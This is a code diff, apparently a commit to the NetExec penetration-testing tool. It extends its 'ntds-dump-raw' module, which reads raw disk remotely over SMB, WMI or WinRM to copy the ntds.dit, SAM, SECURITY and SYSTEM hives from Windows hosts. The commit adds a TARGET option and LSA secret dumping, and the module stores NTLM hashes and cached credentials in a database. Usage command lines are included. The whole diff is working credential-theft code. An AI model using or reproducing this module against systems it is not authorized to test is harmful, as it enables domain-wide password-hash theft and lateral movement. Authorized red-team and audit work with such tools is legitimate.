|
10 | 10 | import random |
11 | 11 | import gzip |
12 | 12 | from io import BytesIO |
13 | | -from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes |
| 13 | +from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets |
14 | 14 | from nxc.helpers.misc import validate_ntlm |
15 | 15 | from nxc.helpers.powershell import get_ps_script |
| 16 | +import sys |
16 | 17 |
|
17 | 18 |
|
18 | 19 | class NXCModule: |
19 | 20 | name = "ntds-dump-raw" |
20 | 21 | description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive." |
21 | 22 | supported_protocols = ["smb", "wmi", "winrm"] |
22 | | - |
23 | | - files_full_location_to_extract = [ |
24 | | - "Windows/System32/config/SYSTEM", |
25 | | - "Windows/System32/config/SAM", |
26 | | - "Windows/NTDS/ntds.dit", |
27 | | - ] |
28 | | - files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract] |
29 | | - number_of_file_to_extract = len(files_to_extract) |
30 | | - extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""} |
31 | 23 | NTFS_LOCATION = 0 |
32 | 24 | MFT_LOCATION = 0 |
33 | 25 | context = None |
@@ -83,7 +75,36 @@ class MFA_sector_properties: |
83 | 75 | full_path: str = "" |
84 | 76 |
|
85 | 77 | def options(self, context, module_options): |
86 | | - """No options available""" |
| 78 | + """TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them |
| 79 | + Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM |
| 80 | + nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM |
| 81 | + $IP can be a Domain Controller or a regular Windows machine. |
| 82 | + """ |
| 83 | + available_options = { |
| 84 | + "NTDS": "Windows/NTDS/ntds.dit", |
| 85 | + "LSA": "Windows/System32/config/SECURITY", |
| 86 | + "SAM": "Windows/System32/config/SAM"} |
| 87 | + selected_files_full_path = [] |
| 88 | + if "TARGET" in module_options: |
| 89 | + selected_options = module_options["TARGET"].split(",") |
| 90 | + for option in selected_options: |
| 91 | + if option in available_options: |
| 92 | + selected_files_full_path.append(available_options[option]) |
| 93 | + else: |
| 94 | + context.log.error(f"Uknown option format : {option}") |
| 95 | + sys.exit(1) |
| 96 | + else: |
| 97 | + selected_files_full_path.append(available_options["NTDS"]) |
| 98 | + selected_files_full_path.append(available_options["SAM"]) |
| 99 | + self.add_files_path_to_extract(selected_files_full_path) |
| 100 | + |
| 101 | + def add_files_path_to_extract(self, selected_files_full_path): |
| 102 | + """Add the selected file paths for extraction and including SYSTEM by default""" |
| 103 | + selected_files_full_path.append("Windows/System32/config/SYSTEM") |
| 104 | + self.files_full_location_to_extract = selected_files_full_path |
| 105 | + self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract] |
| 106 | + self.number_of_file_to_extract = len(self.files_to_extract) |
| 107 | + self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "") |
87 | 108 |
|
88 | 109 | def read_from_disk(self, offset, size): |
89 | 110 | """Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target""" |
@@ -148,123 +169,134 @@ def main(self): |
148 | 169 | self.read_MFT(MFT_file_header) |
149 | 170 |
|
150 | 171 | if self.number_of_file_to_extract != 0: |
151 | | - self.logger.fail("Unable to find all needed files") |
152 | | - return |
| 172 | + self.logger.fail("Unable to find all needed files, trying to work with what we have") |
153 | 173 |
|
154 | 174 | self.logger.success("Heads up, hashes on the way...") |
155 | | - self.dump_ntds() |
| 175 | + self.dump_hashes() |
156 | 176 |
|
157 | | - def dump_ntds(self): |
| 177 | + def dump_hashes(self): |
158 | 178 | """Dumping NTDS and SAM hashes locally from the extracted files""" |
159 | 179 | # Mostly from nxc/modules/ntdsutil.py |
160 | 180 | local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"]) |
161 | 181 | boot_key = local_operations.getBootKey() |
162 | 182 | no_lm_hash = local_operations.checkNoLMHashPolicy() |
| 183 | + |
| 184 | + # NTDS hashes |
| 185 | + if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "": |
| 186 | + def add_ntds_hash(ntds_hash, host_id): |
| 187 | + """Extract NTDS hashes""" |
| 188 | + add_ntds_hash.ntds_hashes += 1 |
| 189 | + ntds_hash = ntds_hash.split(" ")[0] |
| 190 | + self.logger.highlight(ntds_hash) |
| 191 | + if ntds_hash.find("$") == -1: |
| 192 | + if ntds_hash.find("\\") != -1: |
| 193 | + domain, clean_hash = ntds_hash.split("\\") |
| 194 | + else: |
| 195 | + domain = self.domain |
| 196 | + clean_hash = ntds_hash |
| 197 | + |
| 198 | + try: |
| 199 | + username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") |
| 200 | + parsed_hash = f"{lmhash}:{nthash}" |
| 201 | + if validate_ntlm(parsed_hash): |
| 202 | + self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) |
| 203 | + add_ntds_hash.added_to_db += 1 |
| 204 | + return |
| 205 | + raise |
| 206 | + except Exception: |
| 207 | + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") |
| 208 | + else: |
| 209 | + self.logger.debug("Dumped hash is a computer account, not adding to db") |
| 210 | + |
| 211 | + add_ntds_hash.ntds_hashes = 0 |
| 212 | + add_ntds_hash.added_to_db = 0 |
| 213 | + |
| 214 | + NTDS = NTDSHashes( |
| 215 | + self.extracted_files_location_local["ntds.dit"], |
| 216 | + boot_key, |
| 217 | + isRemote=False, |
| 218 | + history=False, |
| 219 | + noLMHash=no_lm_hash, |
| 220 | + remoteOps=None, |
| 221 | + useVSSMethod=True, |
| 222 | + justNTLM=True, |
| 223 | + pwdLastSet=False, |
| 224 | + resumeSession=None, |
| 225 | + outputFileName=self.output_filename, |
| 226 | + justUser=None, |
| 227 | + printUserStatus=True, |
| 228 | + perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host), |
| 229 | + ) |
| 230 | + |
| 231 | + try: |
| 232 | + self.logger.success("NTDS hashes:") |
| 233 | + NTDS.dump() |
| 234 | + except Exception as e: |
| 235 | + self.logger.fail(e) |
| 236 | + |
| 237 | + NTDS.finish() |
163 | 238 |
|
164 | 239 | # SAM hashes |
165 | | - def add_SAM_hash(SAM_hash, host_id): |
166 | | - """Extract SAM hashes""" |
167 | | - add_SAM_hash.SAM_hashes += 1 |
168 | | - SAM_hash = SAM_hash.split(" ")[0] |
169 | | - self.logger.highlight(SAM_hash) |
170 | | - if SAM_hash.find("$") == -1: |
171 | | - if SAM_hash.find("\\") != -1: |
172 | | - domain, clean_hash = SAM_hash.split("\\") |
173 | | - else: |
174 | | - domain = self.domain |
175 | | - clean_hash = SAM_hash |
176 | | - |
177 | | - try: |
178 | | - username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") |
179 | | - parsed_hash = f"{lmhash}:{nthash}" |
180 | | - if validate_ntlm(parsed_hash): |
181 | | - self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) |
182 | | - add_SAM_hash.added_to_db += 1 |
183 | | - return |
184 | | - raise |
185 | | - except Exception: |
186 | | - self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") |
187 | | - else: |
188 | | - self.logger.debug("Dumped hash is a computer account, not adding to db") |
189 | | - |
190 | | - add_SAM_hash.SAM_hashes = 0 |
191 | | - add_SAM_hash.added_to_db = 0 |
192 | | - |
193 | | - SAM = SAMHashes( |
194 | | - self.extracted_files_location_local["SAM"], |
195 | | - boot_key, |
196 | | - isRemote=False, |
197 | | - perSecretCallback=lambda secret: add_SAM_hash(secret, self.host), |
198 | | - ) |
199 | | - |
200 | | - # NTDS |
201 | | - def add_ntds_hash(ntds_hash, host_id): |
202 | | - """Extract NTDS hashes""" |
203 | | - add_ntds_hash.ntds_hashes += 1 |
204 | | - ntds_hash = ntds_hash.split(" ")[0] |
205 | | - self.logger.highlight(ntds_hash) |
206 | | - if ntds_hash.find("$") == -1: |
207 | | - if ntds_hash.find("\\") != -1: |
208 | | - domain, clean_hash = ntds_hash.split("\\") |
| 240 | + if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "": |
| 241 | + def add_SAM_hash(SAM_hash, host_id): |
| 242 | + """Extract SAM hashes""" |
| 243 | + add_SAM_hash.SAM_hashes += 1 |
| 244 | + SAM_hash = SAM_hash.split(" ")[0] |
| 245 | + self.logger.highlight(SAM_hash) |
| 246 | + if SAM_hash.find("$") == -1: |
| 247 | + if SAM_hash.find("\\") != -1: |
| 248 | + domain, clean_hash = SAM_hash.split("\\") |
| 249 | + else: |
| 250 | + domain = self.domain |
| 251 | + clean_hash = SAM_hash |
| 252 | + try: |
| 253 | + username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") |
| 254 | + parsed_hash = f"{lmhash}:{nthash}" |
| 255 | + if validate_ntlm(parsed_hash): |
| 256 | + self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) |
| 257 | + add_SAM_hash.added_to_db += 1 |
| 258 | + return |
| 259 | + raise |
| 260 | + except Exception: |
| 261 | + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") |
209 | 262 | else: |
210 | | - domain = self.domain |
211 | | - clean_hash = ntds_hash |
212 | | - |
213 | | - try: |
214 | | - username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") |
215 | | - parsed_hash = f"{lmhash}:{nthash}" |
216 | | - if validate_ntlm(parsed_hash): |
217 | | - self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) |
218 | | - add_ntds_hash.added_to_db += 1 |
219 | | - return |
220 | | - raise |
221 | | - except Exception: |
222 | | - self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") |
223 | | - else: |
224 | | - self.logger.debug("Dumped hash is a computer account, not adding to db") |
| 263 | + self.logger.debug("Dumped hash is a computer account, not adding to db") |
225 | 264 |
|
226 | | - add_ntds_hash.ntds_hashes = 0 |
227 | | - add_ntds_hash.added_to_db = 0 |
| 265 | + add_SAM_hash.SAM_hashes = 0 |
| 266 | + add_SAM_hash.added_to_db = 0 |
228 | 267 |
|
229 | | - # NTDS hashes |
230 | | - NTDS = NTDSHashes( |
231 | | - self.extracted_files_location_local["ntds.dit"], |
232 | | - boot_key, |
233 | | - isRemote=False, |
234 | | - history=False, |
235 | | - noLMHash=no_lm_hash, |
236 | | - remoteOps=None, |
237 | | - useVSSMethod=True, |
238 | | - justNTLM=True, |
239 | | - pwdLastSet=False, |
240 | | - resumeSession=None, |
241 | | - outputFileName=self.output_filename, |
242 | | - justUser=None, |
243 | | - printUserStatus=True, |
244 | | - perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host), |
245 | | - ) |
246 | | - |
247 | | - try: |
248 | | - self.logger.success("NTDS hashes:") |
249 | | - NTDS.dump() |
250 | | - except Exception as e: |
251 | | - self.logger.fail(e) |
252 | | - |
253 | | - try: |
254 | | - self.logger.success("SAM hashes:") |
255 | | - SAM.dump() |
256 | | - SAM.export(self.output_filename) |
257 | | - except Exception as e: |
258 | | - self.logger.debug(e) |
259 | | - |
260 | | - self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database") |
261 | | - self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database") |
262 | | - |
263 | | - self.logger.display("To extract only enabled accounts from the output file, run the following command: ") |
264 | | - self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1") |
265 | | - |
266 | | - SAM.finish() |
267 | | - NTDS.finish() |
| 268 | + SAM = SAMHashes( |
| 269 | + self.extracted_files_location_local["SAM"], |
| 270 | + boot_key, |
| 271 | + isRemote=False, |
| 272 | + perSecretCallback=lambda secret: add_SAM_hash(secret, self.host), |
| 273 | + ) |
| 274 | + try: |
| 275 | + self.logger.success("SAM hashes:") |
| 276 | + SAM.dump() |
| 277 | + SAM.export(self.output_filename) |
| 278 | + except Exception as e: |
| 279 | + self.logger.debug(e) |
| 280 | + SAM.finish() |
| 281 | + |
| 282 | + # LSA |
| 283 | + if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "": |
| 284 | + LSA = LSASecrets(self.extracted_files_location_local["SECURITY"], boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)) |
| 285 | + |
| 286 | + try: |
| 287 | + self.logger.success("LSA Secrets:") |
| 288 | + LSA.dumpCachedHashes() |
| 289 | + LSA.dumpSecrets() |
| 290 | + except Exception as e: |
| 291 | + self.logger.fail(e) |
| 292 | + |
| 293 | + if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "": |
| 294 | + self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database") |
| 295 | + |
| 296 | + if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "": |
| 297 | + self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database") |
| 298 | + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") |
| 299 | + self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1") |
268 | 300 |
|
269 | 301 | def analyze_NTFS(self, ntfs_header): |
270 | 302 | """Decode the NTFS headers and extract needed infromation from it""" |
|
0 commit comments